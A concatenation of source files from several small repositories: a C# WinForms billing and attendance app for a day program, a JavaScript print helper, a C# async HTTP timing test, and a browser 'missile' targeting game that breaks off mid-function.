Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case -3: Item = new DayItem((int)dataGridView8.Rows[dataGridView8.SelectedCells[0].RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.LunchPrice = 0; Item.Lunch = false; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; } } } private void permaToolStripMenuItem_Click(object sender, EventArgs e) { switch ((int)contextMenuStrip1.Tag) { case 3: servicesTableAdapter.Fill(tDayDataSet.Services); DataRow Row = tDayDataSet.Services.FindByServiceId(1); Row["ServiceFee"] = dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells[3].Value.ToString(); servicesTableAdapter.Update(tDayDataSet); foreach (DataRow Dat in tDayDataSet.Days) { if ((bool)Dat["Lunch"] && (int)Dat["Category"]==1) { DayItem Item = new DayItem((int)Dat["DayId"],CurrentDay.Date); Item.LunchPrice = (decimal)dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells[3].Value; Item.Update(); } } break; case 6: servicesTableAdapter.Fill(tDayDataSet.Services); Row = tDayDataSet.Services.FindByServiceId(3); Row["ServiceFee"] = dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells[6].Value.ToString(); servicesTableAdapter.Update(tDayDataSet); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); foreach (DataRow Dat in tDayDataSet.Days) { if (ProfileProvider.GetCategory((int)Dat["ProfileId"]) == 1) { DayItem Item = new DayItem((int)Dat["DayId"], CurrentDay.Date); Item.ProgramPrice = (decimal)dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells[6].Value; Item.Update(); } } break; case 8: servicesTableAdapter.Fill(tDayDataSet.Services); Row = tDayDataSet.Services.FindByServiceId(2); Row["ServiceFee"] = dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells[8].Value.ToString(); servicesTableAdapter.Update(tDayDataSet); foreach (DataRow Dat in tDayDataSet.Days) { if (ProfileProvider.GetCategory((int)Dat["ProfileId"]) == 1 && Double.Parse(Dat["RoundTripPrice"].ToString())>0) { DayItem Item = new DayItem((int)Dat["DayId"], CurrentDay.Date); Item.RoundTripPrice = (decimal)dataGridView2.Rows[dataGridView2.SelectedCells[0].RowIndex].Cells[8].Value; Item.Update(); } } break; case -3: servicesTableAdapter.Fill(tDayDataSet.Services); Row = tDayDataSet.Services.FindByServiceId(4); Row["ServiceFee"] = dataGridView8.Rows[dataGridView8.SelectedCells[0].RowIndex].Cells[3].Value.ToString(); servicesTableAdapter.Update(tDayDataSet); foreach (DataRow Dat in tDayDataSet.Days) { if ((bool)Dat["Lunch"] && (int)Dat["Category"]!=1) { DayItem Item = new DayItem((int)Dat["DayId"],CurrentDay.Date); Item.LunchPrice = (decimal)dataGridView8.Rows[dataGridView8.SelectedCells[0].RowIndex].Cells[3].Value; Item.Update(); } } break; } daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } private void button6_Click(object sender, EventArgs e) { if (dataGridView1.Rows.Count > 0) { PdfPrinter.PrintClientInfo((int)dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells["profileIdDataGridViewTextBoxColumn"].Value); } } private void button11_Click(object sender, EventArgs e) { PdfPrinter.PrintAttendance(CurrentDay); } private void radioButton5_CheckedChanged(object sender, EventArgs e) { if (radioButton5.Checked) { label5.Visible = true; textBox_ClientHD.Visible = true; } else { label5.Visible = false; textBox_ClientHD.Visible = false; } } private void radioButton4_CheckedChanged(object sender, EventArgs e) { if (!radioButton4.Checked) { label5.Visible = true; textBox_ClientHD.Visible = true; } else { label5.Visible = false; textBox_ClientHD.Visible = false; } } private void button13_Click(object sender, EventArgs e) { transportationBindingSource1.Filter = "Category='HandyDART' AND Monday=1"; transportationBindingSource2.Filter = "Category='Own' AND Monday=1"; mondayDataGridViewCheckBoxColumn.Visible = false; tuesdayDataGridViewCheckBoxColumn.Visible = false; wednesdayDataGridViewCheckBoxColumn.Visible = false; thursdayDataGridViewCheckBoxColumn.Visible = false; fridayDataGridViewCheckBoxColumn.Visible = false; dataGridViewCheckBoxColumn3.Visible = false; dataGridViewCheckBoxColumn4.Visible = false; dataGridViewCheckBoxColumn5.Visible = false; dataGridViewCheckBoxColumn6.Visible = false; dataGridViewCheckBoxColumn7.Visible = false; _TransportDay = "Monday"; } private void button12_Click(object sender, EventArgs e) { transportationBindingSource1.Filter = "Category='HandyDART'"; transportationBindingSource2.Filter = "Category='Own'"; mondayDataGridViewCheckBoxColumn.Visible = true; tuesdayDataGridViewCheckBoxColumn.Visible = true; wednesdayDataGridViewCheckBoxColumn.Visible = true; thursdayDataGridViewCheckBoxColumn.Visible = true; fridayDataGridViewCheckBoxColumn.Visible = true; dataGridViewCheckBoxColumn3.Visible = true; dataGridViewCheckBoxColumn4.Visible = true; dataGridViewCheckBoxColumn5.Visible = true; dataGridViewCheckBoxColumn6.Visible = true; dataGridViewCheckBoxColumn7.Visible = true; _TransportDay = "Master"; } private void button14_Click(object sender, EventArgs e) { transportationBindingSource1.Filter = "Category='HandyDART' AND Tuesday=1"; transportationBindingSource2.Filter = "Category='Own' AND Tuesday=1"; mondayDataGridViewCheckBoxColumn.Visible = false; tuesdayDataGridViewCheckBoxColumn.Visible = false; wednesdayDataGridViewCheckBoxColumn.Visible = false; thursdayDataGridViewCheckBoxColumn.Visible = false; fridayDataGridViewCheckBoxColumn.Visible = false; dataGridViewCheckBoxColumn3.Visible = false; dataGridViewCheckBoxColumn4.Visible = false; dataGridViewCheckBoxColumn5.Visible = false; dataGridViewCheckBoxColumn6.Visible = false; dataGridViewCheckBoxColumn7.Visible = false; _TransportDay = "Tuesday"; } private void button15_Click(object sender, EventArgs e) { transportationBindingSource1.Filter = "Category='HandyDART' AND Wednesday=1"; transportationBindingSource2.Filter = "Category='Own' AND Wednesday=1"; mondayDataGridViewCheckBoxColumn.Visible = false; tuesdayDataGridViewCheckBoxColumn.Visible = false; wednesdayDataGridViewCheckBoxColumn.Visible = false; thursdayDataGridViewCheckBoxColumn.Visible = false; fridayDataGridViewCheckBoxColumn.Visible = false; dataGridViewCheckBoxColumn3.Visible = false; dataGridViewCheckBoxColumn4.Visible = false; dataGridViewCheckBoxColumn5.Visible = false; dataGridViewCheckBoxColumn6.Visible = false; dataGridViewCheckBoxColumn7.Visible = false; _TransportDay = "Wednesday"; } private void button16_Click(object sender, EventArgs e) { transportationBindingSource1.Filter = "Category='HandyDART' AND Thursday=1"; transportationBindingSource2.Filter = "Category='Own' AND Thursday=1"; mondayDataGridViewCheckBoxColumn.Visible = false; tuesdayDataGridViewCheckBoxColumn.Visible = false; wednesdayDataGridViewCheckBoxColumn.Visible = false; thursdayDataGridViewCheckBoxColumn.Visible = false; fridayDataGridViewCheckBoxColumn.Visible = false; dataGridViewCheckBoxColumn3.Visible = false; dataGridViewCheckBoxColumn4.Visible = false; dataGridViewCheckBoxColumn5.Visible = false; dataGridViewCheckBoxColumn6.Visible = false; dataGridViewCheckBoxColumn7.Visible = false; _TransportDay = "Thursday"; } private void button17_Click(object sender, EventArgs e) { transportationBindingSource1.Filter = "Category='HandyDART' AND Friday=1"; transportationBindingSource2.Filter = "Category='Own' AND Friday=1"; mondayDataGridViewCheckBoxColumn.Visible = false; tuesdayDataGridViewCheckBoxColumn.Visible = false; wednesdayDataGridViewCheckBoxColumn.Visible = false; thursdayDataGridViewCheckBoxColumn.Visible = false; fridayDataGridViewCheckBoxColumn.Visible = false; dataGridViewCheckBoxColumn3.Visible = false; dataGridViewCheckBoxColumn4.Visible = false; dataGridViewCheckBoxColumn5.Visible = false; dataGridViewCheckBoxColumn6.Visible = false; dataGridViewCheckBoxColumn7.Visible = false; _TransportDay = "Friday"; } private void button18_Click(object sender, EventArgs e) { PdfPrinter.PrintTransportation(_TransportDay); } private void CheckPermission() { switch (Session.Group) { case 1: toolStripDropDownButton2.Visible = true; break; case 2: button4.Enabled = false; toolStripComboBox3.Items.RemoveAt(2); break; case 3: dataGridView2.DataSource = null; toolStripComboBox3.Items.Clear(); toolStripComboBox3.Items.Add("Client"); toolStripComboBox3.SelectedIndex = 0; button1.Enabled = false; button4.Enabled = false; tabControl1.SelectedTab = Profiles; break; } } private void usersToolStripMenuItem1_Click(object sender, EventArgs e) { Users src = new Users(); src.ShowDialog(); } private void button19_Click(object sender, EventArgs e) { if (panel6.Visible) { panel6.Visible = false; } else { panel6.Location = new Point(button19.Location.X, dataGridView2.Location.Y + dataGridView2.Height - panel6.Height); panel6.Visible = true; } } private void monthCalendar1_DateSelected(object sender, DateRangeEventArgs e) { if (e.Start == DateTime.Now.Date) { button10.Enabled = false; CurrentDay.ChangeDate(CurrentDay.Date = monthCalendar1.SelectionStart); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); textBox_weekday.Text = CurrentDay.Date.DayOfWeek.ToString(); textBox_date.Text = CurrentDay.Date.ToShortDateString(); ReCountTotals(); panel6.Visible = false; CheckDayLock(); } else { button10.Enabled = true; CurrentDay.ChangeDate(CurrentDay.Date = monthCalendar1.SelectionStart); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); textBox_weekday.Text = CurrentDay.Date.DayOfWeek.ToString(); textBox_date.Text = CurrentDay.Date.ToShortDateString(); ReCountTotals(); panel6.Visible = false; CheckDayLock(); } } private void CheckDayLock() { switch (Session.Group) { case 2: if (CurrentDay.Date != DateTime.Now.Date) { dataGridView2.Enabled = false; toolStripButton5.Enabled = false; } else { dataGridView2.Enabled = true; toolStripButton5.Enabled = true; } break; case 3: if (CurrentDay.Date != DateTime.Now.Date) { dataGridView2.Enabled = false; toolStripButton5.Enabled = false; } else { dataGridView2.Enabled = true; toolStripButton5.Enabled = true; } break; } } private void MainFrame_Shown(object sender, EventArgs e) { this.Opacity = 100; } private void dataGridView5_CellClick(object sender, DataGridViewCellEventArgs e) { if (e.RowIndex >= 0) { BillsItem Item = new BillsItem((int)dataGridView5.Rows[e.RowIndex].Cells["billIdDataGridViewTextBoxColumn"].Value); richTextBox2.ResetText(); richTextBox2.AppendText(String.Format("INVOICE #{0}", dataGridView5.Rows[e.RowIndex].Cells["billIdDataGridViewTextBoxColumn"].Value.ToString())+"\n"); richTextBox2.AppendText(String.Format("For Services in {0:MMMM}", Item.Date)); richTextBox3.ResetText(); richTextBox3.AppendText(String.Format("{0} \n", Item.Profile.Name)); richTextBox3.AppendText(String.Format("{0} \n",Item.Profile.Adress.Addres)); richTextBox3.AppendText(String.Format("{0} \n", Item.Profile.Adress.City)); richTextBox3.AppendText(String.Format("{0} \n", Item.Profile.Adress.PostalCode)); if (Item.PreviousBillPaid==0) { label67.Text = "Overdue"; textBox2.Text = Item.PreviousBillTotal.ToString(); textBox6.Text = (Item.PreviousBillTotal + Item.BillTotal).ToString(); } else { label67.Text = "Payments/Credits"; textBox2.Text = Item.PreviousBillPaid.ToString(); textBox6.Text = (Item.PreviousBillTotal - Item.PreviousBillPaid + Item.BillTotal).ToString(); } if (Item.Paid > 0) { checkBox1.Checked = true; groupBox25.Enabled = true; switch (Item.PaidType) { case "cash": radioButton6.Checked = true; break; case "cheque": radioButton7.Checked = true; break; } textBox5.Text = Item.Paid.ToString(); dateTimePicker1.Value = Item.PaidDate; } else { checkBox1.Checked = false; groupBox25.Enabled = false; textBox5.Text = String.Empty; dateTimePicker1.Value = DateTime.Now.Date; } textBox1.Text = Item.PreviousBillTotal.ToString(); textBox3.Text = Item.BillTotal.ToString(); textBox4.Text = Item.PreviousBillPaidDate.ToShortDateString(); //daysBindingSource2.RemoveFilter(); daysBindingSource2.Filter = String.Format("ProfileId = {0}", Item.ProfileIdBills.ToString()); RecountTotals(); } } private void RecountTotals() { double Misc = 0; double Trans = 0; double Program = 0; double TO = 0; double Lanch = 0; double Van = 0; double BFT = 0; foreach (DataGridViewRow Row in dataGridView6.Rows) { Misc += Double.Parse(Row.Cells["miscellaneousPriceDataGridViewTextBoxColumn1"].Value.ToString()); Trans += Double.Parse(Row.Cells["roundTripPriceDataGridViewTextBoxColumn1"].Value.ToString()); Program += Double.Parse(Row.Cells["programPriceDataGridViewTextBoxColumn"].Value.ToString()); TO += Double.Parse(Row.Cells["takeOutPriceDataGridViewTextBoxColumn1"].Value.ToString()); Lanch += Double.Parse(Row.Cells["lunchPriceDataGridViewTextBoxColumn1"].Value.ToString()); Van += Double.Parse(Row.Cells["VanPrice"].Value.ToString()); BFT += Double.Parse(Row.Cells["BookOfTickets"].Value.ToString()); } toolStripTextBox19.Text = (Misc+Trans+Program+TO+Lanch+Van+BFT).ToString(); toolStripTextBox20.Text = Lanch.ToString(); toolStripTextBox21.Text = TO.ToString(); toolStripTextBox22.Text = Misc.ToString(); toolStripTextBox23.Text = Program.ToString(); toolStripTextBox24.Text = Trans.ToString(); toolStripTextBox25.Text = Van.ToString(); toolStripTextBox26.Text = BFT.ToString(); } private void toolStrip15_MouseHover(object sender, EventArgs e) { toolStripButton10.Visible = true; } private void toolStrip15_MouseLeave(object sender, EventArgs e) { if (!richTextBox1.Enabled) { toolStripButton10.Visible = false; } } private void toolStripButton10_Click(object sender, EventArgs e) { if (!richTextBox1.Enabled) { richTextBox1.Enabled = true; toolStripButton10.Image = TDay.Properties.Resources.Save; toolStripButton10.Text = "Save"; } else { TDay.Properties.Settings.Default.PlantString = richTextBox1.Text; TDay.Properties.Settings.Default.Save(); toolStripButton10.Image = TDay.Properties.Resources.Edit; toolStripButton10.Text = "Edit Item"; richTextBox1.Enabled = false; } } private void toolStripButton11_Click(object sender, EventArgs e) { panel8.Visible = false; } private void toolStripButton14_Click(object sender, EventArgs e) { panel8.Location = new Point(dataGridView5.Location.X + 4, dataGridView5.Location.Y + dataGridView5.Height - panel8.Height - 22); panel8.Visible = true; // profilesTableAdapter.FillAll(tDayDataSet.Profiles); profilesBindingSource3.Filter = "Category<4 AND DelStatus=0"; } private void toolStripButton12_Click(object sender, EventArgs e) { if (dataGridView7.SelectedCells.Count > 0) { TDayDataSet tempSet = new TDayDataSet(); Bill _Bill = new Bill(); billsTableAdapter.FillByMonth(tempSet.Bills, _Bill.FirstDayOfMonth, _Bill.LastDayOfMonth); int Index = -1; foreach (DataRow Row in tempSet.Bills) { if ((int)Row["ProfileId"] == (int)dataGridView7.Rows[dataGridView7.SelectedCells[0].RowIndex].Cells["dataGridViewTextBoxColumn1"].Value) { Index = (int)Row["BillId"]; break; } } if (Index != -1) { panel8.Visible = false; foreach (DataGridViewRow Row in dataGridView5.Rows) { if ((int)Row.Cells["billIdDataGridViewTextBoxColumn"].Value == Index) { DataGridViewCellEventArgs eve = new DataGridViewCellEventArgs(0, Row.Index); dataGridView5_CellClick(sender, eve); dataGridView5.Rows[Row.Index].Selected = true; break; } } } else { BillsItem item = new BillsItem((int)dataGridView7.Rows[dataGridView7.SelectedCells[0].RowIndex].Cells["dataGridViewTextBoxColumn1"].Value, _Bill.FirstDayOfMonth, _Bill.LastDayOfMonth); item.Insert(); billsTableAdapter.Fill(tDayDataSet.Bills); panel8.Visible = false; dataGridView7.Rows[dataGridView7.Rows.Count - 1].Selected = true; } } } private void toolStripButton15_Click(object sender, EventArgs e) { if(DialogResult.Yes == MessageBox.Show("Are you sure you want to delete this entry?","Delete",MessageBoxButtons.YesNo,MessageBoxIcon.Question)) if (dataGridView5.SelectedCells.Count > 0) { billsTableAdapter.Delete((int)dataGridView5.Rows[dataGridView5.SelectedCells[0].RowIndex].Cells["billIdDataGridViewTextBoxColumn"].Value); billsTableAdapter.Fill(tDayDataSet.Bills); } } private void checkBox1_CheckedChanged(object sender, EventArgs e) { if (checkBox1.Checked) { groupBox25.Enabled = true; } else { groupBox25.Enabled = false; } } private void button21_Click(object sender, EventArgs e) { if (dataGridView5.SelectedCells.Count > 0) { BillsItem Item = new BillsItem((int)dataGridView5.Rows[dataGridView5.SelectedCells[0].RowIndex].Cells["billIdDataGridViewTextBoxColumn"].Value); Decimal Paid = Decimal.Zero; Decimal.TryParse(textBox5.Text, out Paid); Item.Paid = Paid; Item.PaidDate = dateTimePicker1.Value; if (radioButton6.Checked) { Item.PaidType = "cash"; } if (radioButton7.Checked) { Item.PaidType = "cheque"; } Item.Update(); MessageBox.Show("Платёж сделан", "Ok", MessageBoxButtons.OK, MessageBoxIcon.Information); } } private void button20_Click(object sender, EventArgs e) { if (dataGridView5.SelectedCells.Count > 0) { PdfPrinter.PrintBills((int)dataGridView5.Rows[dataGridView5.SelectedCells[0].RowIndex].Cells["billIdDataGridViewTextBoxColumn"].Value); } } private void toolStripTextBox17_TextChanged(object sender, EventArgs e) { if (toolStripTextBox52.Text.Length > 2) { string Filter = String.Empty; foreach (DataGridViewRow Row in dataGridView5.Rows) { if (Row.Cells["profileIdDataGridViewTextBoxColumn4"].EditedFormattedValue.ToString().IndexOf(toolStripTextBox52.Text) != -1) { Filter += "ProfileId =" + Row.Cells["profileIdDataGridViewTextBoxColumn4"].Value.ToString() + " OR "; } } if (Filter.Length > 0) { billsBindingSource.Filter = Filter.Remove(Filter.Length - 3); } } else { billsBindingSource.RemoveFilter(); } } private void toolStripTextBox27_TextChanged(object sender, EventArgs e) { string TempFilter = "Category<4"; if(toolStripTextBox53.Text.Length>2) { profilesBindingSource3.Filter = TempFilter+" AND "+String.Format("Name LIKE '%{0}%'",toolStripTextBox53.Text)+" AND DelStatus=0"; } else { profilesBindingSource3.Filter = "Category<4 AND DelStatus=0"; } } private void dataGridView5_DataError(object sender, DataGridViewDataErrorEventArgs e) { } private void button5_Click(object sender, EventArgs e) { if (dataGridView1.Rows.Count > 0 && dataGridView1.SelectedCells!=null) { PrintEnv src = new PrintEnv(); src.ProfileId = (int)dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells["profileIdDataGridViewTextBoxColumn"].Value; src.ShowDialog(); } } private void dataGridView8_CellEndEdit(object sender, DataGridViewCellEventArgs e) { FormProvider.CurrentRowIndex2 = e.RowIndex; FormProvider.CurrentColIndex2 = e.ColumnIndex; switch (e.ColumnIndex) { case 3: DayItem Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.LunchPrice = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn3"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 4: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.TakeOutPrice = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn4"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 5: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.MiscellaneousPrice = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn5"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 6: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.ProgramPrice = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn6"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 7: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.VanPrice = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn7"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 8: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.RoundTripPrice = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn8"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 9: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.BookOfTickets = (decimal)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn9"].Value; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; case 11: Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.Comments = dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn11"].Value.ToString(); Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); break; } ReCountTotals(); } private void dataGridView8_DataBindingComplete(object sender, DataGridViewBindingCompleteEventArgs e) { if (dataGridView8.Rows.Count > 0 && FormProvider.CurrentRowIndex2 < dataGridView8.Rows.Count && FormProvider.CurrentRowIndex2 >= 0) { dataGridView8.ClearSelection(); dataGridView8.Rows[FormProvider.CurrentRowIndex2].Cells[FormProvider.CurrentColIndex2].Selected = true; } } private void dataGridView8_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e) { if (e.Button == System.Windows.Forms.MouseButtons.Left) { FormProvider.CurrentRowIndex2 = e.RowIndex; FormProvider.CurrentColIndex2 = e.ColumnIndex; switch (e.ColumnIndex) { case 1: if ((bool)dataGridView8.Rows[e.RowIndex].Cells[e.ColumnIndex].Value) { if (DialogResult.Yes == MessageBox.Show("Are you sure you want to delete this entry?", "Delete", MessageBoxButtons.YesNo, MessageBoxIcon.Question)) { daysTableAdapter.Delete((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } else { dataGridView8.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = 1; dataGridView8.RefreshEdit(); } } break; case 2: if ((bool)dataGridView8.Rows[e.RowIndex].Cells[e.ColumnIndex].EditedFormattedValue) { DayItem Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.Lunch = false; Item.LunchPrice = Decimal.Zero; Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } else { DayItem Item = new DayItem((int)dataGridView8.Rows[e.RowIndex].Cells["dataGridViewTextBoxColumn12"].Value, CurrentDay.Date); Item.Lunch = true; Item.LunchPrice = Item.GetLunchPrice(); Item.Update(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } break; } ReCountTotals(); } else if (e.Button == System.Windows.Forms.MouseButtons.Right) { FormProvider.CurrentRowIndex2 = e.RowIndex; FormProvider.CurrentColIndex2 = e.ColumnIndex; dataGridView8.Rows[e.RowIndex].Cells[e.ColumnIndex].Selected = true; switch (e.ColumnIndex) { case 3: contextMenuStrip1.Tag = (-1)*e.ColumnIndex; contextMenuStrip1.Show(MousePosition.X, MousePosition.Y); break; } } } private void button22_Click(object sender, EventArgs e) { CurrentDay.CreateDay(); daysTableAdapter.Fill(tDayDataSet.Days, CurrentDay.Date); } private void toolStripButton19_Click(object sender, EventArgs e) { Bill _Bill = new Bill(); _Bill.Create(); billsTableAdapter.Fill(tDayDataSet.Bills); } private void toolStripButton24_Click(object sender, EventArgs e) { AddProfile src = new AddProfile(); src.ShowDialog(); } } }
6172acabdb1a97ba003b979f6acae4be737d05f9
[ "C#" ]
28
C#
FreedomHex/TDay
43756ed392b7c92434cd11f2cf8a6573231e3a0f
b374ca09e02db1b8449e3720f69ee71d7347b295
refs/heads/master
<file_sep>/* * Данная функция принимает два параметра * idPrint - идентификатор элемента, который мы желаем распечатать * newPage - идентификатор элемента, который при печати будет начинаться с новой страницы */ function CallPrint(idPrint, newPage) { /* *Берем элемент для печати */ var prtContent = document.getElementById(idPrint); /* *Создаем новое окно с текущим документом */ var WinPrint = window.open('#', '', 'left=50,top=50,width=800,height =640,toolbar=0,scrollbars=1,status=0' ); /* *Функция сробатывающая при загрузке созданого окна */ WinPrint.onload = function() { /* *Удаляем все содержимое тела документа */ WinPrint.$('body *').detach(); /* *Создаем новую кнопку для закрытия окна */ var closeWin = document.createElement("button"); closeWin.setAttribute("id", "closeWin"); closeWin.setAttribute("onClick", "javascript:CallCloseWin()"); WinPrint.document.body.appendChild(closeWin); /* *Создаем новую кнопку для печати документа */ var startPrint = document.createElement("button"); startPrint.setAttribute("id", "startPrint"); startPrint.setAttribute("onClick", "javascript:CallStartPrint()"); WinPrint.document.body.appendChild(startPrint); /* *Создаем новый блок и вставляем в него элемент для печати */ var print = document.createElement("div"); print.className = "contentpane"; print.setAttribute("id", "print"); print.appendChild(prtContent.cloneNode(true)); WinPrint.document.body.appendChild(print); /* *Добавляем в элемент новый класс со стилями для разрыва строниц */ WinPrint.document.getElementById(newPage).setAttribute('class', 'nextpage'); /* * Добавляем стили, которые сработают только во вновь созданом окне */ WinPrint.$('#npa-text').css({ 'height' : '100%', 'overflow-y' : 'visible' }); /* * Задаем фокус на созданом окне */ WinPrint.focus(); } } /* * Функция закрытия окна */ function CallCloseWin(){ window.close(); } /* * Функция печати документа */ function CallStartPrint(){ window.print(); }
7314d3b04a95b51cea369f824b60753907a91ee5
[ "JavaScript" ]
1
JavaScript
Evzin/printAction
e48f74cce7869699ab2c156b354792e2b5afa4e5
2d877574213cb287ec04199372b953c5b84e28eb
refs/heads/master
<repo_name>apacherose/Lab01<file_sep>/Lab/Tasks.cs using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using System.Text; using System.Threading; using System.Threading.Tasks; namespace Lab { public class Tasks { string[] urls = new string[] { "http://dnevnik.bg", "http://vesti.bg", "http://www.welt.de/", "http://www.msn.com/" }; /// <summary> /// паралелно асинхронно изпълнение с await Task.WhenAll(tasks); /// </summary> public async void TestAsync() { DateTime t1 = DateTime.Now; Console.WriteLine("o0"); var tasks = urls.Select(url => TestAsync2(url)).ToArray(); var res = await Task.WhenAll(tasks); foreach (var r in res) { Console.WriteLine(r.Length); } var s = DateTime.Now - t1; Console.WriteLine(s.ToString()); } /// <summary> /// последователно изпълнение /// </summary> public async void Test() { DateTime t1 = DateTime.Now; Console.WriteLine("o0"); foreach (var url in urls) { var cl = new HttpClient(); var r = await cl.GetStringAsync(url); Console.WriteLine(r.Length); } var s = DateTime.Now - t1; Console.WriteLine(s.ToString()); } /// <summary> /// паралелно асинхронно изпълнение с итериране на await t; /// </summary> public async void TestAsync2() { DateTime t1 = DateTime.Now; Console.WriteLine("o0"); var tasks = urls.Select(url => TestAsync2(url)).ToArray(); foreach (var t in tasks) { var r = await t; Console.WriteLine(r.Length); } var s = DateTime.Now - t1; Console.WriteLine(s.ToString()); } public async Task<int> TestAsync1(int val) { var r = await Task.Run(() => { Thread.Sleep(5000); return val; }); return r; } public async Task<string> TestAsync2(string url) { var cl = new HttpClient(); return await cl.GetStringAsync(url); } } }
cd8b99f7c903e167d64a1ae851477e2d483b34a4
[ "C#" ]
1
C#
apacherose/Lab01
9ab5e12f39d66971a425a2233bc57e3fac3abdef
d6ca096f165e1c6d8dca90116cb22dc3dbca9c0a
refs/heads/master
<repo_name>jeznag/WhenMissilesAttack<file_sep>/game.js (function () { 'use strict'; let britney = document.querySelector('#britneySpears'); let gameBoard = document.querySelector('#gameBoundary'); let missile = document.querySelector('#missile'); let targetExplosion = document.querySelector('#targetExplosion'); const MAX_LEFT = 250; const MIN_LEFT = 15; const MIN_TOP = 20; const MOVEMENT_STEP = 10; const MAX_LEFT_MISSILE = 300; let moveRight = true; let movementInterval = setInterval(moveBritney, 50); addKeyListeners(); function showTargetExplosion() { targetExplosion.style.display = 'block'; //hide image again after 500ms window.setTimeout(function () { targetExplosion.style.display = 'none'; }, 500); } function addKeyListeners() { const ENTER_KEY = 13; const LEFT_ARROW_KEY = 37; const RIGHT_ARROW_KEY = 39; document.body.addEventListener('keydown', function (e) { if (e.keyCode === ENTER_KEY) { handleFireMissile(e); } else if (e.keyCode === LEFT_ARROW_KEY) { handleMoveLeft(e); } else if (e.keyCode === RIGHT_ARROW_KEY) { handleMoveRight(e); } }); } function handleFireMissile(e) { let currentTop = parseInt(window.getComputedStyle(missile).top.replace('px', '')) || 0; let shootMissileInterval = setInterval(function () { if (currentTop < MIN_TOP) { clearInterval(shootMissileInterval); if (calculateDistanceBetweenMissileAndTarget() < 28 ) { showTargetExplosion(); } else { alert('you missed' + calculateDistanceBetweenMissileAndTarget()); } currentTop = 290; } currentTop -= 10; missile.style.top = currentTop; }, 20); } function handleMoveRight(e){ let currentLeft = parseInt(window.getComputedStyle(missile).left.replace('px', '')) || 0; if (currentLeft < MAX_LEFT_MISSILE) { missile.style.left = getNextPosition(currentLeft, true); } } function handleMoveLeft(e) { let currentLeft = parseInt(window.getComputedStyle(missile).left.replace('px', '')) || 0; if (currentLeft > MIN_LEFT) { missile.style.left = getNextPosition(currentLeft, false); } } function getCurrentTargetTop() { return (parseInt(britney.style.top.replace('px', '')) || 0); } function getCurrentTargetLeft() { return (parseInt(britney.style.left.replace('px', '')) || 0); } function getCurrentTargetMidpointLeft() { //add 25px because the target is 50px wide so 25px is middle of it return getCurrentTargetLeft() + 25; } function getCurrentMissileLeft() { return parseInt(missile.style.left.replace('px', '')) || 0; } function getCurrentMissileTop() { return parseInt(missile.style.top.replace('px', '')) || 0; } function calculateDistanceBetweenMissileAndTarget() { let xDist = Math.pow(getCurrentMissileLeft() - getCurrentTargetMidpointLeft(), 2); //assume that the missile is at the same height as the target let yDist = 0; return Math.sqrt(xDist + yDist); } function moveBritney () { let currentLeft = getCurrentTargetLeft(); if (currentLeft > 